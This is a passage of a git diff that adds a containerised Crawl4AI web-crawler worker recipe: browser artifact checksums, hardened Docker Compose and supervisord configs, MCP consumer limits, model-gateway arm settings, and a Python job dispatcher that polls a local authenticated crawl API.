SSE example's stale URL was not relabeled as passed. Docker pytest suites and any broader upstream acceptance remain separate coordinator work. | + +The existing coordinator host facts are inputs, not measurements repeated here. +The gateway DB's allowed columns do not include request headers or temperature, so +the receipt cannot independently prove header retention, sampling omission or +wire-level forwarding through both gateways. Correlation matching narrows receipt attribution when all response headers are captured. Those require the gateway owner's bounded +observation; the builder does not access forbidden columns. Container LLM request +controls, WebSocket compatibility, broader crawl quality, real websites, persistent +session behavior, causal token savings and model-currency decisions remain open. + +Run the local contracts with `PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover +-s tests -p test_runtime_worker_crawl4ai.py`, with `TMPDIR` set to the assigned +scratch directory inside the owned worktree; remove it after the run. Promptfoo 0.123.1 must already be on PATH for the +native grader checks; those checks explicitly skip if it is unavailable. Run +`PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py` afterward. The coordinator +owns re-registering changed hashes in the shared evidence manifest; this builder +edits only the recipe and its assigned unit test. diff --git a/blueprints/runtime-workers/crawl4ai/browser-artifacts.json b/blueprints/runtime-workers/crawl4ai/browser-artifacts.json new file mode 100644 index 000000000..40198509b --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/browser-artifacts.json @@ -0,0 +1,26 @@ +{ + "playwright": "1.63.0", + "chromium_revision": "1243", + "browser_version": "153.0.8010.12", + "install_args": [ + "install", + "--only-shell", + "chromium" + ], + "artifacts": [ + { + "url": "https://cdn.playwright.dev/builds/cft/153.0.8010.12/linux64/chrome-headless-shell-linux64.zip", + "mirror_path": "builds/cft/153.0.8010.12/linux64/chrome-headless-shell-linux64.zip", + "sha256": "a9da028861a0cf789ff25c2fed45f5f1aaf969ed9247835b6a7821a4f7af9d1d", + "size": 119809080, + "provenance": "SHA256 computed over HTTPS bytes at recipe construction; Playwright does not publish this checksum in browsers.json" + }, + { + "url": "https://cdn.playwright.dev/builds/ffmpeg/1011/ffmpeg-linux.zip", + "mirror_path": "builds/ffmpeg/1011/ffmpeg-linux.zip", + "sha256": "ebc74fc5b94830176a3c2914ae96bd8bc7f6a91f4f33890230f84a172ee61ccc", + "size": 2376500, + "provenance": "SHA256 computed over HTTPS bytes at recipe construction; Playwright does not publish this checksum in browsers.json" + } + ] +} diff --git a/blueprints/runtime-workers/crawl4ai/common.sh b/blueprints/runtime-workers/crawl4ai/common.sh new file mode 100755 index 000000000..672c7de67 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/common.sh @@ -0,0 +1,17 @@ +#!/usr/bin/env bash +# This file sets task-specific variables; it never replaces HOME or CODEX_HOME. +set -euo pipefail +umask 077 +export NAS_CRAWL4AI_PREFIX="$HOME/.local/share/codex-ecosystem/tools/crawl4ai-0.9.4" +export NAS_CRAWL4AI_STATE="$HOME/.local/state/native-agent-stack/runtime-workers/crawl4ai" +export NAS_CRAWL4AI_GRADER="$NAS_CRAWL4AI_PREFIX/grader/node_modules/.bin/promptfoo" +export PYTHONDONTWRITEBYTECODE=1 +export XDG_CACHE_HOME="$NAS_CRAWL4AI_STATE/cache" +export CRAWL4_AI_BASE_DIRECTORY="$NAS_CRAWL4AI_STATE/crawl" +export PLAYWRIGHT_BROWSERS_PATH="$NAS_CRAWL4AI_PREFIX/venv/.cache/ms-playwright" +export NLTK_DATA="$NAS_CRAWL4AI_STATE/cache/nltk" +export HF_HOME="$NAS_CRAWL4AI_STATE/cache/huggingface" +export TIKTOKEN_CACHE_DIR="$NAS_CRAWL4AI_STATE/cache/tiktoken" +export LITELLM_LOCAL_MODEL_COST_MAP=true +export DO_NOT_TRACK=1 +export UV_PYTHON_DOWNLOADS=never diff --git a/blueprints/runtime-workers/crawl4ai/config/compose.yaml b/blueprints/runtime-workers/crawl4ai/config/compose.yaml new file mode 100644 index 000000000..cee4ac044 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/config/compose.yaml @@ -0,0 +1,65 @@ +# Sources: upstream v0.9.4 Dockerfile, entrypoint.sh, supervisord.conf, config.yml. +services: + crawl4ai: + container_name: rw-crawl4ai-${NAS_CRAWL4AI_STORE:?} + labels: + com.native-agent-stack.owner: gpt6-omniroute-framework-integration + image: unclecode/crawl4ai@sha256:048848e548fad60c670bd656cbb3eb204fd999709a30365d3697c411ce50796d + platform: linux/amd64 + # Container root maps to the unprivileged host user. Native supervisor drops + # Redis/Gunicorn to appuser after reading host-owned 0600 secret mounts. + user: "0:0" + cap_drop: [ALL] + # Only bootstrap ownership and supervisor's native appuser transition. + cap_add: [CHOWN, DAC_OVERRIDE, SETUID, SETGID] + security_opt: ["no-new-privileges:true"] + read_only: true + tmpfs: + - /tmp:rw,nosuid,nodev,noexec,mode=1777 + pull_policy: never + init: true + restart: "no" + shm_size: "1gb" + mem_limit: "3g" + cpus: 2 + pids_limit: 512 + ports: + - "127.0.0.1:${NAS_CRAWL4AI_PORT:?private host port required}:11235" + environment: + LLM_PROVIDER: "openai/${CRAWL4AI_MODEL:?model supplied by config}" + LLM_API_KEY: "local-loopback" + OPENAI_BASE_URL: "${CRAWL4AI_CONTAINER_BASE_URL:?validated selected arm}" + LLM_BASE_URL: "${CRAWL4AI_CONTAINER_BASE_URL:?validated selected arm}" + PYTHONDONTWRITEBYTECODE: "1" + CRAWL4AI_HOOKS_ENABLED: "false" + CRAWL4AI_ALLOW_INTERNAL_URLS: "${NAS_CRAWL4AI_INTERNAL_URLS:-false}" + CRAWL4_AI_BASE_DIRECTORY: "/var/lib/crawl4ai" + XDG_CACHE_HOME: "/var/cache/crawl4ai" + TMPDIR: "/var/cache/crawl4ai/tmp" + NLTK_DATA: "/var/cache/crawl4ai/nltk" + HF_HOME: "/var/cache/crawl4ai/huggingface" + TIKTOKEN_CACHE_DIR: "/var/cache/crawl4ai/tiktoken" + LITELLM_LOCAL_MODEL_COST_MAP: "true" + DO_NOT_TRACK: "1" + entrypoint: ["/bin/bash", "/app/recipe-entrypoint.sh"] + volumes: + - "${NAS_CRAWL4AI_PREFIX:?}/recipe/container-entrypoint.sh:/app/recipe-entrypoint.sh:ro" + - "${NAS_CRAWL4AI_PREFIX:?}/recipe/config/supervisord.conf:/app/supervisord.conf:ro" + - "${NAS_CRAWL4AI_PREFIX:?}/recipe/config/server.yml:/app/config.yml:ro" + - "${NAS_CRAWL4AI_PREFIX:?}/recipe/config/logging.ini:/app/recipe-logging.ini:ro" + - "${NAS_CRAWL4AI_STATE:?}/secrets/api_token:/run/secrets/api_token:ro" + - "${NAS_CRAWL4AI_STATE:?}/secrets/secret_key:/run/secrets/secret_key:ro" + - "${NAS_CRAWL4AI_STATE:?}/secrets/redis_password:/run/secrets/redis_password:ro" + - "${NAS_CRAWL4AI_STATE:?}/containers/${NAS_CRAWL4AI_STORE:?}/crawl:/var/lib/crawl4ai" + - "${NAS_CRAWL4AI_STATE:?}/containers/${NAS_CRAWL4AI_STORE:?}/cache:/var/cache/crawl4ai" + - "${NAS_CRAWL4AI_STATE:?}/containers/${NAS_CRAWL4AI_STORE:?}/redis:/var/lib/redis" + logging: + driver: json-file + options: + max-size: "10m" + max-file: "2" +networks: + default: + name: rw-crawl4ai-${NAS_CRAWL4AI_STORE:?}-net + labels: + com.native-agent-stack.owner: gpt6-omniroute-framework-integration diff --git a/blueprints/runtime-workers/crawl4ai/config/host.example.json b/blueprints/runtime-workers/crawl4ai/config/host.example.json new file mode 100644 index 000000000..3b0f7adcc --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/config/host.example.json @@ -0,0 +1,10 @@ +{ + "docker": "${HOME}/.local/share/codex-ecosystem/tools/docker-rootless-29.8.1/bin/docker", + "docker_context": "rootless", + "python": "/usr/bin/python3.12", + "api_port": 3730, + "fixture_port": 3731, + "mirror_port": 3732, + "e2e_api_port": 3734, + "working_directory": "${HOME}/.local/state/native-agent-stack/runtime-workers/crawl4ai/work" +} diff --git a/blueprints/runtime-workers/crawl4ai/config/logging.ini b/blueprints/runtime-workers/crawl4ai/config/logging.ini new file mode 100644 index 000000000..e3709c23b --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/config/logging.ini @@ -0,0 +1,28 @@ +# Gunicorn logconfig uses stdlib logging.config.fileConfig. +# INFO observes MCP request types without DEBUG's complete request payloads. +[loggers] +keys=root,gunicorn.error,gunicorn.access +[handlers] +keys=console +[formatters] +keys=plain +[logger_root] +level=INFO +handlers=console +[logger_gunicorn.error] +level=INFO +handlers=console +propagate=0 +qualname=gunicorn.error +[logger_gunicorn.access] +level=INFO +handlers=console +propagate=0 +qualname=gunicorn.access +[handler_console] +class=StreamHandler +level=INFO +formatter=plain +args=(sys.stderr,) +[formatter_plain] +format=%(levelname)s %(name)s %(message)s diff --git a/blueprints/runtime-workers/crawl4ai/config/mcp-policy.json b/blueprints/runtime-workers/crawl4ai/config/mcp-policy.json new file mode 100644 index 000000000..f053dfb7e --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/config/mcp-policy.json @@ -0,0 +1,43 @@ +{ + "role": "mcp-server", + "loaded_servers": [], + "limitation": "No external MCP client or SKILL.md loader found in the reviewed v0.9.4 sources; native client verification pending. These are consumer requirements, not loaded Crawl4AI configuration.", + "sources": ["adoption/templates/codex.config.template.toml", "adoption/templates/codex.stack-worker.config.toml", "adoption/skills/manifest.json"], + "consumer_limits": { + "context-mode": { + "command": "${ECO_ROOT}/bin/node", + "args": ["${ECO_ROOT}/tools/context-mode-1.0.169/lib/node_modules/context-mode/start.mjs"], + "disabled_tools": ["ctx_upgrade", "ctx_purge"], + "project": "consumer worker working directory; bind CONTEXT_MODE_PROJECT_DIR there" + }, + "ai-memory": { + "url": "http://${AI_MEMORY_URL}/mcp", + "enabled_tools": ["memory_query", "memory_read_page", "memory_recent", "memory_status", "memory_briefing"] + }, + "socraticode": { + "command": "${ECO_ROOT}/bin/node", + "args": ["${ECO_ROOT}/tools/socraticode-1.15.0/lib/node_modules/socraticode/dist/index.js"], + "enabled_tools": ["codebase_search", "codebase_status", "codebase_list_projects", "codebase_health"], + "env": {"SOCRATICODE_WATCHER": "manual"} + }, + "qmd": { + "command": "${ECO_ROOT}/bin/qmd", + "args": ["--index", "native-agent-stack-catalog", "mcp"], + "collections": ["foundation-docs", "foundation-adoption", "us-equities-foundation", "us-equities-catalog"], + "scope": "consumer supplies explicit collection filters; this template does not configure a server-side ACL" + }, + "headroom": { + "command": "${ECO_ROOT}/bin/headroom", + "args": ["mcp", "serve", "--proxy-url", "http://127.0.0.1:1"], + "enabled_tools": ["headroom_compress", "headroom_retrieve", "headroom_stats"], + "condition": "only consumers with large outputs not already contained by fit_markdown" + }, + "serena": {"condition": "coding consumers only; not loaded by this crawler"}, + "jcodemunch": {"condition": "coding consumers only; no launch entry in the two specified templates; do not invent one"} + }, + "offered_endpoints": ["/mcp/sse", "/mcp/ws"], + "recommended_consumer_tools": ["md", "crawl"], + "container_llm_contract": "not qualified: untrusted /crawl bodies reject LLM strategies; built-in /llm and md:f=llm do not expose extra_args for the required temperature omission and per-call headers", + "consumer_request_constraints": {"md": {"f": ["fit", "raw", "bm25"]}, "crawl": "non-LLM extraction only"}, + "authentication": "Authorization: Bearer read privately from the installed secrets/api_token file; never put it in a URL or committed config" +} diff --git a/blueprints/runtime-workers/crawl4ai/config/server.yml b/blueprints/runtime-workers/crawl4ai/config/server.yml new file mode 100644 index 000000000..a0d1cea0f --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/config/server.yml @@ -0,0 +1,12 @@ +# Source: unclecode/crawl4ai v0.9.4 deploy/docker/config.yml + utils.py:114-138. +# Native loader deep-merges this with upstream defaults. Provider/URL use env. +app: + host: "127.0.0.1" + port: 11235 + workers: 1 +security: + enabled: true + jwt_enabled: true + cors_allow_origins: [] +llm: + allowed_providers: ["openai"] diff --git a/blueprints/runtime-workers/crawl4ai/config/supervisord.conf b/blueprints/runtime-workers/crawl4ai/config/supervisord.conf new file mode 100644 index 000000000..6510851a9 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/config/supervisord.conf @@ -0,0 +1,34 @@ +[supervisord] +nodaemon=true ; Run supervisord in the foreground +logfile=/dev/null ; Log supervisord output to stdout/stderr +logfile_maxbytes=0 + +[program:redis] +; Loopback-only and password-protected. REDIS_PASSWORD is exported by +; entrypoint.sh from the mounted secret; the app must supply it to connect. +command=/usr/bin/redis-server --loglevel notice --bind 127.0.0.1 -::1 --requirepass "%(ENV_REDIS_PASSWORD)s" --dir /var/lib/redis +user=appuser ; Run redis as our non-root user +autorestart=true +priority=10 +stdout_logfile=/dev/stdout ; Redirect redis stdout to container stdout +stdout_logfile_maxbytes=0 +stderr_logfile=/dev/stderr ; Redirect redis stderr to container stderr +stderr_logfile_maxbytes=0 + +[program:gunicorn] +; Bind is resolved by entrypoint.sh into GUNICORN_BIND: loopback unless a +; credential (CRAWL4AI_API_TOKEN) is present, in which case the operator may +; expose an explicitly selected interface. gunicorn is the socket guard; the Python +; _resolve_auth() check is the in-process guard - both must agree. +command=/usr/local/bin/gunicorn --bind "%(ENV_GUNICORN_BIND)s" --bind "127.0.0.1:11235" --workers 1 --threads 4 --timeout 1800 --graceful-timeout 30 --keep-alive 300 --log-level info --log-config /app/recipe-logging.ini --access-logfile - --limit-request-line 8190 --limit-request-fields 100 --worker-class uvicorn.workers.UvicornWorker server:app +directory=/app ; Working directory for the app +user=appuser ; Run gunicorn as our non-root user +autorestart=true +priority=20 +environment=PYTHONUNBUFFERED=1 ; Ensure Python output is sent straight to logs +stdout_logfile=/dev/stdout ; Redirect gunicorn stdout to container stdout +stdout_logfile_maxbytes=0 +stderr_logfile=/dev/stderr ; Redirect gunicorn stderr to container stderr +stderr_logfile_maxbytes=0 + +# Optional: Add filebeat or other logging agents here if needed diff --git a/blueprints/runtime-workers/crawl4ai/config/worker.json b/blueprints/runtime-workers/crawl4ai/config/worker.json new file mode 100644 index 000000000..ef1ac1057 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/config/worker.json @@ -0,0 +1,64 @@ +{ + "llm": { + "provider_prefix": "openai/", + "api_token": "local-loopback", + "max_tokens": 3000, + "timeout_seconds": 180 + }, + "content": { + "input_format": "fit_markdown", + "pruning_threshold": 0.35, + "pruning_threshold_type": "fixed", + "min_word_threshold": 1, + "chunk_token_threshold": 4096, + "overlap_rate": 0.0, + "word_token_rate": 1.3, + "max_fit_characters": 6000, + "excluded_tags": [ + "nav", + "footer", + "aside" + ] + }, + "e2e": { + "arms": [ + "control", + "engines-on" + ], + "pages": [ + "beacon.html", + "flask.html", + "lamp.html" + ], + "scope": "synthetic frozen fixture; native extraction plus container API/MCP transport checks" + }, + "arms": { + "control": { + "model": "cx/gpt-6-astra-max", + "model_env": "CRAWL4AI_MODEL", + "base_url": "http://127.0.0.1:20128/v1", + "base_url_env": "CRAWL4AI_BASE_URL", + "container_base_url": "http://10.0.2.2:20128/v1", + "expected_effort": "max", + "gateway": "omniroute" + }, + "engines-on": { + "model": "sharedgw/gpt-6-astra-max", + "model_env": "CRAWL4AI_MODEL", + "base_url": "http://127.0.0.1:20129/v1", + "base_url_env": "CRAWL4AI_BASE_URL", + "container_base_url": "http://10.0.2.2:20129/v1", + "expected_effort": "max", + "gateway": "omniroute-fw" + }, + "comparison": { + "model": "cx/gpt-6-sol", + "model_env": "CRAWL4AI_COMPARISON_MODEL", + "base_url": "http://127.0.0.1:20128/v1", + "base_url_env": "CRAWL4AI_BASE_URL", + "container_base_url": "http://10.0.2.2:20128/v1", + "expected_effort": "medium", + "gateway": "omniroute" + } + } +} diff --git a/blueprints/runtime-workers/crawl4ai/container-entrypoint.sh b/blueprints/runtime-workers/crawl4ai/container-entrypoint.sh new file mode 100755 index 000000000..0fb6149c2 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/container-entrypoint.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env bash +# v0.9.4 entrypoint.sh:20-39; native supervisor/Gunicorn accepts two --binds. +set -euo pipefail +export SECRET_KEY="$(cat /run/secrets/secret_key)" +export PLAYWRIGHT_BROWSERS_PATH="$(python3 -c 'import pwd; from pathlib import Path; print(Path(pwd.getpwnam("appuser").pw_dir) / ".cache/ms-playwright")')" +# Only these dedicated worker mounts are initialized. Baked browser files stay +# at their upstream image path. Dockerfile:180-191,204-209 and supervisor user=appuser. +mkdir -p /var/lib/crawl4ai /var/lib/redis /var/cache/crawl4ai/tmp +# CAP_CHOWN permits reclaiming only these mount roots before chmod; dropping +# CAP_FOWNER means chmod must happen while bootstrap root owns the directory. +chown 0:0 /var/lib/crawl4ai /var/lib/redis /var/cache/crawl4ai /var/cache/crawl4ai/tmp +chmod 0700 /var/lib/crawl4ai /var/lib/redis /var/cache/crawl4ai /var/cache/crawl4ai/tmp +chown appuser:appuser /var/lib/crawl4ai /var/lib/redis /var/cache/crawl4ai /var/cache/crawl4ai/tmp +# Explicit interface + a second loopback bind in supervisord.conf for MCP's proxy. +NAS_CRAWL4AI_IP="$(python3 -c 'import socket; print(socket.gethostbyname(socket.gethostname()))')" +export GUNICORN_BIND="${NAS_CRAWL4AI_IP}:11235" +cd /app +exec /bin/bash /app/entrypoint.sh diff --git a/blueprints/runtime-workers/crawl4ai/container.sh b/blueprints/runtime-workers/crawl4ai/container.sh new file mode 100755 index 000000000..2538d0bb9 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/container.sh @@ -0,0 +1,45 @@ +#!/usr/bin/env bash +# Native Docker Compose lifecycle; configuration is in the private installed prefix. +set -euo pipefail +NAS_CRAWL4AI_RECIPE="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +# shellcheck source=common.sh +source "$NAS_CRAWL4AI_RECIPE/common.sh" +NAS_CRAWL4AI_ACTION="${1:?start|stop|status|start-e2e|stop-e2e|logs-e2e}" +NAS_CRAWL4AI_DOCKER="$(python3 "$NAS_CRAWL4AI_RECIPE/host.py" get docker)" +NAS_CRAWL4AI_CONTEXT="$(python3 "$NAS_CRAWL4AI_RECIPE/host.py" get docker_context)" +NAS_CRAWL4AI_PROJECT=rw-crawl4ai-persistent +export NAS_CRAWL4AI_STORE=persistent +export NAS_CRAWL4AI_INTERNAL_URLS=false +NAS_CRAWL4AI_PORT_KEY=api_port +if [[ "$NAS_CRAWL4AI_ACTION" == *-e2e ]]; then + NAS_CRAWL4AI_PROJECT=rw-crawl4ai-e2e + export NAS_CRAWL4AI_STORE=e2e + NAS_CRAWL4AI_PORT_KEY=e2e_api_port + export NAS_CRAWL4AI_INTERNAL_URLS=true +fi +export NAS_CRAWL4AI_PORT="$(python3 "$NAS_CRAWL4AI_RECIPE/host.py" get "$NAS_CRAWL4AI_PORT_KEY")" +CRAWL4AI_MODEL="$(python3 "$NAS_CRAWL4AI_RECIPE/worker.py")" +export CRAWL4AI_MODEL +CRAWL4AI_CONTAINER_BASE_URL="$(python3 "$NAS_CRAWL4AI_RECIPE/worker.py" --field container_base_url)" +export CRAWL4AI_CONTAINER_BASE_URL +NAS_CRAWL4AI_CONTAINER="rw-crawl4ai-$NAS_CRAWL4AI_STORE" +NAS_CRAWL4AI_NETWORK="rw-crawl4ai-$NAS_CRAWL4AI_STORE-net" +NAS_CRAWL4AI_CLIENT=("$NAS_CRAWL4AI_DOCKER" --context "$NAS_CRAWL4AI_CONTEXT") +NAS_CRAWL4AI_COMPOSE=("$NAS_CRAWL4AI_DOCKER" --context "$NAS_CRAWL4AI_CONTEXT" compose --project-name "$NAS_CRAWL4AI_PROJECT" -f "$NAS_CRAWL4AI_PREFIX/recipe/config/compose.yaml") +case "$NAS_CRAWL4AI_ACTION" in + start|start-e2e) "${NAS_CRAWL4AI_COMPOSE[@]}" up --detach --pull never --no-build ;; + stop|stop-e2e) + # Docker CLI literal-name removal only. A failed daemon query fails cleanup. + NAS_CRAWL4AI_FOUND="$("${NAS_CRAWL4AI_CLIENT[@]}" container ls --all --filter "name=^/$NAS_CRAWL4AI_CONTAINER$" --format '{{.Names}}')" + if [[ "$NAS_CRAWL4AI_FOUND" == "$NAS_CRAWL4AI_CONTAINER" ]]; then + "${NAS_CRAWL4AI_CLIENT[@]}" container stop --time 30 "$NAS_CRAWL4AI_CONTAINER" + "${NAS_CRAWL4AI_CLIENT[@]}" container rm --force "$NAS_CRAWL4AI_CONTAINER" + fi + NAS_CRAWL4AI_FOUND="$("${NAS_CRAWL4AI_CLIENT[@]}" network ls --filter "name=^$NAS_CRAWL4AI_NETWORK$" --format '{{.Name}}')" + if [[ "$NAS_CRAWL4AI_FOUND" == "$NAS_CRAWL4AI_NETWORK" ]]; then + "${NAS_CRAWL4AI_CLIENT[@]}" network rm "$NAS_CRAWL4AI_NETWORK" + fi ;; + status) "${NAS_CRAWL4AI_COMPOSE[@]}" ps ;; + logs-e2e) "${NAS_CRAWL4AI_COMPOSE[@]}" logs --no-color --since "${2:?run start timestamp required}" ;; + *) echo 'Unknown lifecycle operation' >&2; exit 2 ;; +esac diff --git a/blueprints/runtime-workers/crawl4ai/dispatch.py b/blueprints/runtime-workers/crawl4ai/dispatch.py new file mode 100644 index 000000000..41c9716d4 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/dispatch.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python3 +"""Bash child lifecycle for the native worker, not a second crawler/runtime. + +Sources: Crawl4AI@133e1d92 docs/examples/llm_extraction_openai_pricing.py:15-53; +CPython@v3.12.12 Lib/subprocess.py (Popen/start_new_session, run/timeout). +The stable status/result contract is local integration required by round 3. +""" +import argparse +import fcntl +import hashlib +import json +import os +import re +import subprocess +import sys +import time +import urllib.request +from urllib.parse import urlsplit +from pathlib import Path + +from host import locations, load_host, private_file +from worker import arm_settings, selected_arm + +ROOT = Path(__file__).resolve().parent +OUTCOMES = {0: "pass", 2: "setup_failure", 3: "negative_verdict", 4: "incomplete_evidence"} + + +def write_json(path, value): + temporary = path.with_suffix(".tmp") + temporary.write_text(json.dumps(value, indent=2) + "\n") + temporary.replace(path) + + +def finish(directory, receipt, code): + receipt.update(outcome=OUTCOMES[code], exit_code=code) + write_json(directory / "receipt.json", receipt) + status = json.loads((directory / "status.json").read_text()) + status.update(state="finished", exit_code=code) + write_json(directory / "status.json", status) + + +def announce(directory): + status = json.loads((directory / "status.json").read_text()) + print(json.dumps(status, sort_keys=True)) + return status.get("exit_code") if status["state"] == "finished" else 4 + + +class NoRedirect(urllib.request.HTTPRedirectHandler): + def redirect_request(self, *_args, **_kwargs): + raise ValueError("authenticated local API redirect refused") + + +def api_request(path, payload=None): + """Crawl4AI@133e1d92 deploy/docker/job.py:114-149; token stays in headers.""" + if not re.fullmatch(r"/crawl/job(?:/crawl_[a-f0-9]{8})?", path): + raise ValueError("unknown native job route") + _, state = locations() + secret = state / "secrets/api_token" + private_file(secret) + base = f"http://127.0.0.1:{load_host()['api_port']}" + request = urllib.request.Request(base + path, + data=json.dumps(payload).encode() if payload is not None else None, + headers={"Authorization": "Bearer " + secret.read_text().strip(), "Content-Type": "application/json"}) + opener = urllib.request.build_opener(urllib.request.ProxyHandler({}), NoRedirect()) + with opener.open(request, timeout=30) as response: + raw = response.read(16 * 1024 * 1024 + 1) + if len(raw) > 16 * 1024 * 1024: + raise ValueError("native result exceeds bounded transport") + return json.loads(raw), response.status + + +def crawl_job(directory, urls): + """Native non-LLM fallback: api.py:997-1078,587-605 at the Crawl4AI pin. + + Server status owns the verdict. No local content scoring or model call. + """ + for url in urls: + parsed = urlsplit(url) + if parsed.scheme != "https" or not parsed.hostname or parsed.username or parsed.password: + raise ValueError("REST fallback requires credential-free HTTPS seed URLs") + if not urls: + raise ValueError("REST fallback requires at least one seed URL") + accepted, code = api_request("/crawl/job", {"urls": urls}) + task = accepted.get("task_id", "") + if code != 202 or not re.fullmatch(r"crawl_[a-f0-9]{8}", task): + raise ValueError("native enqueue did not return the pinned task contract") + deadline = time.monotonic() + 180 + polls = 0 + while time.monotonic() < deadline: + try: + data, code = api_request("/crawl/job/" + task) + except (OSError, ValueError) as exc: + return {"passed": False, "native_status": "unobserved_after_enqueue", + "error_class": type(exc).__name__, "poll_count": polls}, 4 + polls += 1 + if code != 200: + break + status = data.get("status") + if status == "failed": + return {"passed": False, "native_status": "failed", "poll_count": polls}, 3 + if status == "completed": + result = data.get("result", {}) + write_json(directory / "result.json", result) + rows = result.get("results", []) if isinstance(result, dict) else [] + complete = (isinstance(result, dict) and type(result.get("success")) is bool and + isinstance(rows, list) and len(rows) == len(urls) and all( + isinstance(row, dict) and type(row.get("success")) is bool for row in rows)) + passed = complete and result["success"] and all(row["success"] for row in rows) + return {"passed": passed, "native_status": status, "poll_count": polls, + "source": "native /crawl/job status; content is not graded", + "result_sha256": hashlib.sha256((directory / "result.json").read_bytes()).hexdigest()}, (0 if passed else 3 if complete else 4) + if status != "processing": + break + time.sleep(1) + return {"passed": False, "native_status": "incomplete", "poll_count": polls}, 4 + + +def execute(directory, arm): + """Only one provider/container trial uses the fixed fixture ports at a time.""" + prefix, state = locations() + status = json.loads((directory / "status.json").read_text()) + status["state"] = "running" + write_json(directory / "status.json", status) + try: + request = json.loads((directory / "request.json").read_text()) + if request["kind"] == "crawl": + receipt, code = crawl_job(directory, request["urls"]) + receipt.update(arm=arm, route_applicability="separate_responses_caller_only", + llm_used=False, usage={"status": "not_applicable"}) + finish(directory, receipt, code) + return code + with (state / "extraction.lock").open("a") as lock: + try: + fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB) + except BlockingIOError: + finish(directory, {"passed": False, "reason": "another extraction run owns the fixture ports"}, 4) + return 4 + with (directory / "dispatch.log").open("a") as log: + result = subprocess.run([str(prefix / "venv/bin/python"), str(ROOT / "e2e/run.py"), + "--run-dir", str(directory), "--arm", arm], env=dict(os.environ, CRAWL4AI_ARM=arm, + PYTHONDONTWRITEBYTECODE="1"), stdout=log, stderr=subprocess.STDOUT, timeout=2400) + receipt = json.loads((directory / "receipt.json").read_text()) + code = result.returncode if result.returncode in OUTCOMES else 4 + if receipt.get("outcome") == "incomplete_evidence" and code == 0: + code = 4 + finish(directory, receipt, code) + return code + except Exception as exc: + code = 4 if isinstance(exc, subprocess.TimeoutExpired) else 2 + finish(directory, {"passed": False, "error_class": type(exc).__name__}, code) + return code + + +def main(argv=None): + os.umask(0o077) + parser = argparse.ArgumentParser() + parser.add_argument("action", choices=("start", "wait", "result", "_run")) + parser.add_argument("--run-id", required=True) + parser.add_argument("--arm", choices=("control", "engines-on", "comparison"), default=None) + parser.add_argument("--timeout", type=float, default=55) + parser.add_argument("--kind", choices=("extraction", "crawl"), default="crawl", + help="model-free crawl for a Responses caller; extraction is the historical Chat Completions comparison") + parser.add_argument("--url", action="append", default=[]) + args = parser.parse_args(argv) + try: + if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_-]{0,63}", args.run_id): + raise ValueError("invalid run id") + arm = args.arm or selected_arm() + _, state = locations() + directory = state / "runs" / args.run_id + if args.action == "start": + request = {"kind": args.kind, "urls": args.url} + request_hash = hashlib.sha256(json.dumps(request, sort_keys=True).encode()).hexdigest() + directory.parent.mkdir(mode=0o700, parents=True, exist_ok=True) + try: + directory.mkdir(mode=0o700) + except FileExistsError: + existing = json.loads((directory / "status.json").read_text()) + if directory.is_symlink() or existing["arm"] != arm or existing["request_sha256"] != request_hash: + raise ValueError("run id already belongs to another request") + return announce(directory) + write_json(directory / "status.json", {"run_id": args.run_id, "arm": arm, "state": "starting", + "kind": args.kind, "request_sha256": request_hash, + "receipt_path": str(directory / "receipt.json"), "status_path": str(directory / "status.json"), + "exit_code": None}) + write_json(directory / "receipt.json", {"passed": False, "outcome": "incomplete_evidence", "exit_code": 4}) + write_json(directory / "request.json", request) + try: + if (args.kind == "crawl") != bool(args.url): + raise ValueError("--url is required for crawl and unavailable for the frozen extraction trial") + if args.kind == "extraction": + arm_settings(json.loads((ROOT / "config/worker.json").read_text()), arm) + with (directory / "dispatch.log").open("a") as log: + subprocess.Popen([sys.executable, str(ROOT / "dispatch.py"), "_run", "--run-id", args.run_id, + "--arm", arm], stdin=subprocess.DEVNULL, stdout=log, stderr=subprocess.STDOUT, + start_new_session=True, env=dict(os.environ, PYTHONDONTWRITEBYTECODE="1")) + announce(directory) + return 0 # submission accepted; verdict is obtained with wait/result + except Exception as exc: + finish(directory, {"passed": False, "error_class": type(exc).__name__}, 2) + return announce(directory) + status = json.loads((directory / "status.json").read_text()) + if directory.is_symlink() or status["arm"] != arm: + raise ValueError("run identity mismatch") + if args.action == "_run": + return execute(directory, arm) + if args.action == "wait": + deadline = time.monotonic() + max(0, min(args.timeout, 55)) + while status["state"] != "finished" and time.monotonic() < deadline: + time.sleep(min(0.25, max(0, deadline - time.monotonic()))) + status = json.loads((directory / "status.json").read_text()) + return announce(directory) + except (OSError, ValueError, KeyError) as exc: + print(json.dumps({"outcome": "setup_failure", "error_class": type(exc).__name__, "exit_code": 2})) + return 2 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/blueprints/runtime-workers/crawl4ai/dispatch.sh b/blueprints/runtime-workers/crawl4ai/dispatch.sh new file mode 100644 index 000000000..040456ee1 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/dispatch.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash +# CPython subprocess lifecycle over the installed upstream worker; see dispatch.py. +set -euo pipefail +NAS_CRAWL4AI_RECIPE="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +source "$NAS_CRAWL4AI_RECIPE/common.sh" +exec python3 "$NAS_CRAWL4AI_PREFIX/recipe/dispatch.py" "$@" diff --git a/blueprints/runtime-workers/crawl4ai/e2e/assertions.json b/blueprints/runtime-workers/crawl4ai/e2e/assertions.json new file mode 100644 index 000000000..ce8952fe9 --- /dev/null +++ 